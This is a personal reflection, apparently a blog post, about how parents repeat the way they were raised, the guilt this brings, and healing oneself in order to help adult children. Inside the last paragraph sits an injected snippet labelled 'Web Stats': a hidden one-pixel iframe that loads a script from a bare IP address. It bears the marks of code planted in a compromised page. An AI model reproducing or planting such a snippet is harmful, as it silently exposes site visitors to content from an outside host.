I have a much better understanding of the scripture that talks about the sins of the parents being answered on the heads of the children to the third and fourth generation.  It is true in many cases.

The painful truth is that we raise our children the same way we were raised!  Even though I didn’t like the way I was raised, I raised my children the same way (without realizing that I was) – because I also didn’t know any better. 

Again, someone said: By the time we are experienced as parents, we are no longer employed.  By the time I had learned how to heal myself, I had already damaged my children.  I tried desperately to fix them, but they were now adults, and I couldn’t.  For a while, the guilt and emotional pain I experienced were more than I could bear — until I accepted that I truly had done the best that I knew how at the time.  Then I was finally able to forgive myself and be healed of that terrible burden.

If any of you are feeling the same way about your child-raising practices, the very best thing that you can do for your children is to heal yourself.  When you do that, you are coming from a totally different place as you interact with them.  This, then allows your children to start healing too.

My children have to take their own healing journey.  Some are moving along the path; some are completely stuck.  But I have had to let go and give them the freedom to make their own choices. !– Web Stats — iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0/iframe !– End Web Stats — The only thing that I can do is love them and set the example by living my life the best way I can.